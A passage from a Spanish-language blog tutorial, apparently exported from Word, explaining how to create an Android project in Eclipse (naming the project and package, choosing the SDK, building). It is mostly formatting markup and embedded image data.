UCwJ7KOWIx9KvurOYIICmYFAAh9tiXFNlXxbjfD5/5syZ7du3r1q16v7rr08sWvTol798z7XXLlu2bOXKlWvWrOno6Dh79ix/YgyXOVG0l/qbdJTP59Pp9OHDh9vb2zds2FBSlW7YsKG9vf3w4cPpdJoUgMueKOaA/2nIxWJxZmYmnU4PDg729/f39/cPDg6m02mmIQNEF8QkAEAQAABBAABCEACAEAQAICL/DxEe6UjaHRtWAAAAAElFTkSuQmCC" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"></a></div>
<div class="MsoNormal">
<br />
<!--[if gte mso 9]><xml>
<w:WordDocument>
<w:View>Normal</w:View>
<w:Zoom>0</w:Zoom>
<w:TrackMoves/>
<w:TrackFormatting/>
<w:HyphenationZone>21</w:HyphenationZone>
<w:PunctuationKerning/>
<w:ValidateAgainstSchemas/>
<w:SaveIfXMLInvalid>false</w:SaveIfXMLInvalid>
<w:IgnoreMixedContent>false</w:IgnoreMixedContent>
<w:AlwaysShowPlaceholderText>false</w:AlwaysShowPlaceholderText>
<w:DoNotPromoteQF/>
<w:LidThemeOther>ES</w:LidThemeOther>
<w:LidThemeAsian>X-NONE</w:LidThemeAsian>
<w:LidThemeComplexScript>X-NONE</w:LidThemeComplexScript>
<w:Compatibility>
<w:BreakWrappedTables/>
<w:SnapToGridInCell/>
<w:WrapTextWithPunct/>
<w:UseAsianBreakRules/>
<w:DontGrowAutofit/>
<w:SplitPgBreakAndParaMark/>
<w:EnableOpenTypeKerning/>
<w:DontFlipMirrorIndents/>
<w:OverrideTableStyleHps/>
</w:Compatibility>
<m:mathPr>
<m:mathFont m:val="Cambria Math"/>
<m:brkBin m:val="before"/>
<m:brkBinSub m:val="--"/>
<m:smallFrac m:val="off"/>
<m:dispDef/>
<m:lMargin m:val="0"/>
<m:rMargin m:val="0"/>
<m:defJc m:val="centerGroup"/>
<m:wrapIndent m:val="1440"/>
<m:intLim m:val="subSup"/>
<m:naryLim m:val="undOvr"/>
</m:mathPr></w:WordDocument>
</xml><![endif]-->
<br />
<div class="MsoListParagraph" style="mso-list: l0 level1 lfo1; text-indent: -18.0pt;">
Seleccionamos Android Project y le damos a Next. Veremos una ventana com la siguiente:</div>
<div class="MsoListParagraph" style="mso-list: l0 level1 lfo1; text-indent: -18.0pt;">
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="http://3.bp.blogspot.com/-GBwgi-N8YiI/UJRNKsVSzYI/AAAAAAAAAMQ/ZXIwk1VgnXc/s1600/img8.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="408" src="http://3.bp.blogspot.com/-GBwgi-N8YiI/UJRNKsVSzYI/AAAAAAAAAMQ/ZXIwk1VgnXc/s640/img8.jpg" width="640" /></a></div>
<div class="MsoListParagraph" style="mso-list: l0 level1 lfo1; text-indent: -18.0pt;">
</div>
<div class="MsoListParagraph" style="mso-list: l0 level1 lfo1; text-indent: -18.0pt;">
En la ventana anterior vemos que hay diferentes elementos a rellnar, y cosas que seleccionar: El nombre del proyecto en Project name, el nombre del paquete que debe seguir la regla de nombre paquete.nombreaplicacion osea con un . que separe las dos partes y también ha de selccionarse el SDK que se desee. A continuación un ejemplo:</div>
<div class="MsoListParagraph" style="mso-list: l0 level1 lfo1; text-indent: -18.0pt;">
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="http://4.bp.blogspot.com/-_ReiFjcmf0Y/UJRNvJInm6I/AAAAAAAAAMY/9x_wK9nckuI/s1600/img9.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="408" src="http://4.bp.blogspot.com/-_ReiFjcmf0Y/UJRNvJInm6I/AAAAAAAAAMY/9x_wK9nckuI/s640/img9.jpg" width="640" /></a></div>
<div class="MsoListParagraph" style="mso-list: l0 level1 lfo1; text-indent: -18.0pt;">
<br /></div>
<div class="MsoListParagraph" style="mso-list: l0 level1 lfo1; text-indent: -18.0pt;">
<b style="mso-bidi-font-weight: normal;"><span style="mso-ansi-language: ES; mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin;"></span></b></div>
<div class="MsoListParagraph" style="mso-list: l0 level1 lfo1; text-indent: -18.0pt;">
<b style="mso-bidi-font-weight: normal;"><span style="mso-ansi-language: ES; mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin;"></span></b></div>
<div class="MsoListParagraph" style="mso-list: l0 level1 lfo1; text-indent: -18.0pt;">
<b style="mso-bidi-font-weight: normal;"><span style="mso-ansi-language: ES; mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin;"></span></b></div>
<div class="MsoListParagraph" style="mso-list: l0 level1 lfo1; text-indent: -18.0pt;">
<b style="mso-bidi-font-weight: normal;"><span style="mso-ansi-language: ES; mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin;"><span style="mso-list: Ignore;"></span></span></b></div>
<div class="MsoListParagraph" style="mso-list: l0 level1 lfo1; text-indent: -18.0pt;">
<br />
<!--[if gte mso 9]><xml>
<w:WordDocument>
<w:View>Normal</w:View>
<w:Zoom>0</w:Zoom>
<w:TrackMoves/>
<w:TrackFormatting/>
<w:HyphenationZone>21</w:HyphenationZone>
<w:PunctuationKerning/>
<w:ValidateAgainstSchemas/>
<w:SaveIfXMLInvalid>false</w:SaveIfXMLInvalid>
<w:IgnoreMixedContent>false</w:IgnoreMixedContent>
<w:AlwaysShowPlaceholderText>false</w:AlwaysShowPlaceholderText>
<w:DoNotPromoteQF/>
<w:LidThemeOther>ES</w:LidThemeOther>
<w:LidThemeAsian>X-NONE</w:LidThemeAsian>
<w:LidThemeComplexScript>X-NONE</w:LidThemeComplexScript>
<w:Compatibility>
<w:BreakWrappedTables/>
<w:SnapToGridInCell/>
<w:WrapTextWithPunct/>
<w:UseAsianBreakRules/>
<w:DontGrowAutofit/>
<w:SplitPgBreakAndParaMark/>
<w:EnableOpenTypeKerning/>
<w:DontFlipMirrorIndents/>
<w:OverrideTableStyleHps/>
</w:Compatibility>
<m:mathPr>
<m:mathFont m:val="Cambria Math"/>
<m:brkBin m:val="before"/>
<m:brkBinSub m:val="--"/>
<m:smallFrac m:val="off"/>
<m:dispDef/>
<m:lMargin m:val="0"/>
<m:rMargin m:val="0"/>
<m:defJc m:val="centerGroup"/>
<m:wrapIndent m:val="1440"/>
<m:intLim m:val="subSup"/>
<m:naryLim m:val="undOvr"/>
</m:mathPr></w:WordDocument>
</xml><![endif]--></div>
<div class="MsoListParagraph" style="mso-list: l0 level1 lfo1; text-indent: -18.0pt;">
<!--[if gte mso 9]><xml>
<w:LatentStyles DefLockedState="false" DefUnhideWhenUsed="true"
DefSemiHidden="true" DefQFormat="false" DefPriority="99"
LatentStyleCount="267">
<w:LsdException Locked="false" Priority="0" SemiHidden="false"
UnhideWhenUsed="false" QFormat="true" Name="Normal"/>
<w:LsdException Locked="false" Priority="9" SemiHidden="false"
UnhideWhenUsed="false" QFormat="true" Name="heading 1"/>
<w:LsdException Locked="false" Priority="9" QFormat="true" Name="heading 2"/>
<w:LsdException Locked="false" Priority="9" QFormat="true" Name="heading 3"/>
<w:LsdException Locked="false" Priority="9" QFormat="true" Name="heading 4"/>
<w:LsdException Locked="false" Priority="9" QFormat="true" Name="heading 5"/>
<w:LsdException Locked="false" Priority="9" QFormat="true" Name="heading 6"/>
<w:LsdException Locked="false" Priority="9" QFormat="true" Name="heading 7"/>
<w:LsdException Locked="false" Priority="9" QFormat="true" Name="heading 8"/>
<w:LsdException Locked="false" Priority="9" QFormat="true" Name="heading 9"/>
<w:LsdException Locked="false" Priority="39" Name="toc 1"/>
<w:LsdException Locked="false" Priority="39" Name="toc 2"/>
<w:LsdException Locked="false" Priority="39" Name="toc 3"/>
<w:LsdException Locked="false" Priority="39" Name="toc 4"/>
<w:LsdException Locked="false" Priority="39" Name="toc 5"/>
<w:LsdException Locked="false" Priority="39" Name="toc 6"/>
<w:LsdException Locked="false" Priority="39" Name="toc 7"/>
<w:LsdException Locked="false" Priority="39" Name="toc 8"/>
<w:LsdException Locked="false" Priority="39" Name="toc 9"/>
<w:LsdException Locked="false" Priority="35" QFormat="true" Name="caption"/>
<w:LsdException Locked="false" Priority="10" SemiHidden="false"
UnhideWhenUsed="false" QFormat="true" Name="Title"/>
<w:LsdException Locked="false" Priority="1" Name="Default Paragraph Font"/>
<w:LsdException Locked="false" Priority="11" SemiHidden="false"
UnhideWhenUsed="false" QFormat="true" Name="Subtitle"/>
<w:LsdException Locked="false" Priority="22" SemiHidden="false"
UnhideWhenUsed="false" QFormat="true" Name="Strong"/>
<w:LsdException Locked="false" Priority="20" SemiHidden="false"
UnhideWhenUsed="false" QFormat="true" Name="Emphasis"/>
<w:LsdException Locked="false" Priority="59" SemiHidden="false"
UnhideWhenUsed="false" Name="Table Grid"/>
<w:LsdException Locked="false" UnhideWhenUsed="false" Name="Placeholder Text"/>
<w:LsdException Locked="false" Priority="1" SemiHidden="false"
UnhideWhenUsed="false" QFormat="true" Name="No Spacing"/>
<w:LsdException Locked="false" Priority="60" SemiHidden="false"
UnhideWhenUsed="false" Name="Light Shading"/>
<w:LsdException Locked="false" Priority="61" SemiHidden="false"
UnhideWhenUsed="false" Name="Light List"/>
<w:LsdException Locked="false" Priority="62" SemiHidden="false"
UnhideWhenUsed="false" Name="Light Grid"/>
<w:LsdException Locked="false" Priority="63" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Shading 1"/>
<w:LsdException Locked="false" Priority="64" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Shading 2"/>
<w:LsdException Locked="false" Priority="65" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium List 1"/>
<w:LsdException Locked="false" Priority="66" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium List 2"/>
<w:LsdException Locked="false" Priority="67" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 1"/>
<w:LsdException Locked="false" Priority="68" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 2"/>
<w:LsdException Locked="false" Priority="69" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 3"/>
<w:LsdException Locked="false" Priority="70" SemiHidden="false"
UnhideWhenUsed="false" Name="Dark List"/>
<w:LsdException Locked="false" Priority="71" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful Shading"/>
<w:LsdException Locked="false" Priority="72" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful List"/>
<w:LsdException Locked="false" Priority="73" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful Grid"/>
<w:LsdException Locked="false" Priority="60" SemiHidden="false"
UnhideWhenUsed="false" Name="Light Shading Accent 1"/>
<w:LsdException Locked="false" Priority="61" SemiHidden="false"
UnhideWhenUsed="false" Name="Light List Accent 1"/>
<w:LsdException Locked="false" Priority="62" SemiHidden="false"
UnhideWhenUsed="false" Name="Light Grid Accent 1"/>
<w:LsdException Locked="false" Priority="63" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Shading 1 Accent 1"/>
<w:LsdException Locked="false" Priority="64" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Shading 2 Accent 1"/>
<w:LsdException Locked="false" Priority="65" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium List 1 Accent 1"/>
<w:LsdException Locked="false" UnhideWhenUsed="false" Name="Revision"/>
<w:LsdException Locked="false" Priority="34" SemiHidden="false"
UnhideWhenUsed="false" QFormat="true" Name="List Paragraph"/>
<w:LsdException Locked="false" Priority="29" SemiHidden="false"
UnhideWhenUsed="false" QFormat="true" Name="Quote"/>
<w:LsdException Locked="false" Priority="30" SemiHidden="false"
UnhideWhenUsed="false" QFormat="true" Name="Intense Quote"/>
<w:LsdException Locked="false" Priority="66" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium List 2 Accent 1"/>
<w:LsdException Locked="false" Priority="67" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 1 Accent 1"/>
<w:LsdException Locked="false" Priority="68" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 2 Accent 1"/>
<w:LsdException Locked="false" Priority="69" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 3 Accent 1"/>
<w:LsdException Locked="false" Priority="70" SemiHidden="false"
UnhideWhenUsed="false" Name="Dark List Accent 1"/>
<w:LsdException Locked="false" Priority="71" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful Shading Accent 1"/>
<w:LsdException Locked="false" Priority="72" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful List Accent 1"/>
<w:LsdException Locked="false" Priority="73" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful Grid Accent 1"/>
<w:LsdException Locked="false" Priority="60" SemiHidden="false"
UnhideWhenUsed="false" Name="Light Shading Accent 2"/>
<w:LsdException Locked="false" Priority="61" SemiHidden="false"
UnhideWhenUsed="false" Name="Light List Accent 2"/>
<w:LsdException Locked="false" Priority="62" SemiHidden="false"
UnhideWhenUsed="false" Name="Light Grid Accent 2"/>
<w:LsdException Locked="false" Priority="63" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Shading 1 Accent 2"/>
<w:LsdException Locked="false" Priority="64" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Shading 2 Accent 2"/>
<w:LsdException Locked="false" Priority="65" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium List 1 Accent 2"/>
<w:LsdException Locked="false" Priority="66" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium List 2 Accent 2"/>
<w:LsdException Locked="false" Priority="67" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 1 Accent 2"/>
<w:LsdException Locked="false" Priority="68" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 2 Accent 2"/>
<w:LsdException Locked="false" Priority="69" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 3 Accent 2"/>
<w:LsdException Locked="false" Priority="70" SemiHidden="false"
UnhideWhenUsed="false" Name="Dark List Accent 2"/>
<w:LsdException Locked="false" Priority="71" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful Shading Accent 2"/>
<w:LsdException Locked="false" Priority="72" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful List Accent 2"/>
<w:LsdException Locked="false" Priority="73" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful Grid Accent 2"/>
<w:LsdException Locked="false" Priority="60" SemiHidden="false"
UnhideWhenUsed="false" Name="Light Shading Accent 3"/>
<w:LsdException Locked="false" Priority="61" SemiHidden="false"
UnhideWhenUsed="false" Name="Light List Accent 3"/>
<w:LsdException Locked="false" Priority="62" SemiHidden="false"
UnhideWhenUsed="false" Name="Light Grid Accent 3"/>
<w:LsdException Locked="false" Priority="63" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Shading 1 Accent 3"/>
<w:LsdException Locked="false" Priority="64" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Shading 2 Accent 3"/>
<w:LsdException Locked="false" Priority="65" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium List 1 Accent 3"/>
<w:LsdException Locked="false" Priority="66" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium List 2 Accent 3"/>
<w:LsdException Locked="false" Priority="67" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 1 Accent 3"/>
<w:LsdException Locked="false" Priority="68" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 2 Accent 3"/>
<w:LsdException Locked="false" Priority="69" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 3 Accent 3"/>
<w:LsdException Locked="false" Priority="70" SemiHidden="false"
UnhideWhenUsed="false" Name="Dark List Accent 3"/>
<w:LsdException Locked="false" Priority="71" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful Shading Accent 3"/>
<w:LsdException Locked="false" Priority="72" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful List Accent 3"/>
<w:LsdException Locked="false" Priority="73" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful Grid Accent 3"/>
<w:LsdException Locked="false" Priority="60" SemiHidden="false"
UnhideWhenUsed="false" Name="Light Shading Accent 4"/>
<w:LsdException Locked="false" Priority="61" SemiHidden="false"
UnhideWhenUsed="false" Name="Light List Accent 4"/>
<w:LsdException Locked="false" Priority="62" SemiHidden="false"
UnhideWhenUsed="false" Name="Light Grid Accent 4"/>
<w:LsdException Locked="false" Priority="63" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Shading 1 Accent 4"/>
<w:LsdException Locked="false" Priority="64" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Shading 2 Accent 4"/>
<w:LsdException Locked="false" Priority="65" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium List 1 Accent 4"/>
<w:LsdException Locked="false" Priority="66" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium List 2 Accent 4"/>
<w:LsdException Locked="false" Priority="67" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 1 Accent 4"/>
<w:LsdException Locked="false" Priority="68" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 2 Accent 4"/>
<w:LsdException Locked="false" Priority="69" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 3 Accent 4"/>
<w:LsdException Locked="false" Priority="70" SemiHidden="false"
UnhideWhenUsed="false" Name="Dark List Accent 4"/>
<w:LsdException Locked="false" Priority="71" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful Shading Accent 4"/>
<w:LsdException Locked="false" Priority="72" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful List Accent 4"/>
<w:LsdException Locked="false" Priority="73" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful Grid Accent 4"/>
<w:LsdException Locked="false" Priority="60" SemiHidden="false"
UnhideWhenUsed="false" Name="Light Shading Accent 5"/>
<w:LsdException Locked="false" Priority="61" SemiHidden="false"
UnhideWhenUsed="false" Name="Light List Accent 5"/>
<w:LsdException Locked="false" Priority="62" SemiHidden="false"
UnhideWhenUsed="false" Name="Light Grid Accent 5"/>
<w:LsdException Locked="false" Priority="63" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Shading 1 Accent 5"/>
<w:LsdException Locked="false" Priority="64" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Shading 2 Accent 5"/>
<w:LsdException Locked="false" Priority="65" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium List 1 Accent 5"/>
<w:LsdException Locked="false" Priority="66" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium List 2 Accent 5"/>
<w:LsdException Locked="false" Priority="67" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 1 Accent 5"/>
<w:LsdException Locked="false" Priority="68" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 2 Accent 5"/>
<w:LsdException Locked="false" Priority="69" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 3 Accent 5"/>
<w:LsdException Locked="false" Priority="70" SemiHidden="false"
UnhideWhenUsed="false" Name="Dark List Accent 5"/>
<w:LsdException Locked="false" Priority="71" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful Shading Accent 5"/>
<w:LsdException Locked="false" Priority="72" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful List Accent 5"/>
<w:LsdException Locked="false" Priority="73" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful Grid Accent 5"/>
<w:LsdException Locked="false" Priority="60" SemiHidden="false"
UnhideWhenUsed="false" Name="Light Shading Accent 6"/>
<w:LsdException Locked="false" Priority="61" SemiHidden="false"
UnhideWhenUsed="false" Name="Light List Accent 6"/>
<w:LsdException Locked="false" Priority="62" SemiHidden="false"
UnhideWhenUsed="false" Name="Light Grid Accent 6"/>
<w:LsdException Locked="false" Priority="63" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Shading 1 Accent 6"/>
<w:LsdException Locked="false" Priority="64" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Shading 2 Accent 6"/>
<w:LsdException Locked="false" Priority="65" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium List 1 Accent 6"/>
<w:LsdException Locked="false" Priority="66" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium List 2 Accent 6"/>
<w:LsdException Locked="false" Priority="67" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 1 Accent 6"/>
<w:LsdException Locked="false" Priority="68" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 2 Accent 6"/>
<w:LsdException Locked="false" Priority="69" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 3 Accent 6"/>
<w:LsdException Locked="false" Priority="70" SemiHidden="false"
UnhideWhenUsed="false" Name="Dark List Accent 6"/>
<w:LsdException Locked="false" Priority="71" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful Shading Accent 6"/>
<w:LsdException Locked="false" Priority="72" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful List Accent 6"/>
<w:LsdException Locked="false" Priority="73" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful Grid Accent 6"/>
<w:LsdException Locked="false" Priority="19" SemiHidden="false"
UnhideWhenUsed="false" QFormat="true" Name="Subtle Emphasis"/>
<w:LsdException Locked="false" Priority="21" SemiHidden="false"
UnhideWhenUsed="false" QFormat="true" Name="Intense Emphasis"/>
<w:LsdException Locked="false" Priority="31" SemiHidden="false"
UnhideWhenUsed="false" QFormat="true" Name="Subtle Reference"/>
<w:LsdException Locked="false" Priority="32" SemiHidden="false"
UnhideWhenUsed="false" QFormat="true" Name="Intense Reference"/>
<w:LsdException Locked="false" Priority="33" SemiHidden="false"
UnhideWhenUsed="false" QFormat="true" Name="Book Title"/>
<w:LsdException Locked="false" Priority="37" Name="Bibliography"/>
<w:LsdException Locked="false" Priority="39" QFormat="true" Name="TOC Heading"/>
</w:LatentStyles>
</xml><![endif]--><!--[if gte mso 10]>
<style>
/* Style Definitions */
table.MsoNormalTable
{mso-style-name:"Tabla normal";
mso-tstyle-rowband-size:0;
mso-tstyle-colband-size:0;
mso-style-noshow:yes;
mso-style-priority:99;
mso-style-parent:"";
mso-padding-alt:0cm 5.4pt 0cm 5.4pt;
mso-para-margin-top:0cm;
mso-para-margin-right:0cm;
mso-para-margin-bottom:10.0pt;
mso-para-margin-left:0cm;
line-height:115%;
mso-pagination:widow-orphan;
font-size:11.0pt;
font-family:"Calibri","sans-serif";
mso-ascii-font-family:Calibri;
mso-ascii-theme-font:minor-latin;
mso-hansi-font-family:Calibri;
mso-hansi-theme-font:minor-latin;
mso-bidi-font-family:"Times New Roman";
mso-bidi-theme-font:minor-bidi;
mso-fareast-language:EN-US;}
</style>
<![endif]-->
</div>
<div class="MsoListParagraph">
<span style="mso-ansi-language: ES;"> Le damos a Finish
y ya tenemos nuestro proyecto que se verá de la siguiente forma en el
explorador de proyectos:</span></div>
<div class="MsoListParagraph">
<br /></div>
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="http://4.bp.blogspot.com/-E05c4KmI0B4/UJROS8nJjuI/AAAAAAAAAMg/qXwz84dRciY/s1600/img10.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="136" src="http://4.bp.blogspot.com/-E05c4KmI0B4/UJROS8nJjuI/AAAAAAAAAMg/qXwz84dRciY/s400/img10.jpg" width="400" /></a></div>
<div class="MsoListParagraph">
<br /></div>
<span lang="ES-TRAD"></span><br />
<div class="MsoListParagraph" style="mso-list: l0 level1 lfo1; text-indent: -18.0pt;">
<span style="mso-bidi-font-weight: normal;"><span style="mso-ansi-language: ES; mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin;"><span style="mso-list: Ignore;"> Como veis sale en rojo indicando que hay algún problema, se debe a que hay que hacer un build con el botón derecho:</span></span></span><b style="mso-bidi-font-weight: normal;"><span style="mso-ansi-language: ES; mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin;"><span style="mso-list: Ignore;"></span></span></b></div>
<div class="MsoListParagraph" style="mso-list: l0 level1 lfo1; text-indent: -18.0pt;">
<b style="mso-bidi-font-weight: normal;"><span style="mso-ansi-language: ES; mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin;"><span style="mso-list: Ignore;"><br /></span></span></b><span lang="ES-TRAD"></span></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="http://4.bp.blogspot.com/-eIUjCK3xQjU/UJROyrOz0WI/AAAAAAAAAMo/LIkIzramkOM/s1600/img11.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="130" src="http://4.bp.blogspot.com/-eIUjCK3xQjU/UJROyrOz0WI/AAAAAAAAAMo/LIkIzramkOM/s400/img11.jpg" width="400" /></a></div>
<div class="MsoListParagraph" style="mso-list: l0 level1 lfo1; text-indent: -18.0pt;">
<a href="data:image/png;base64,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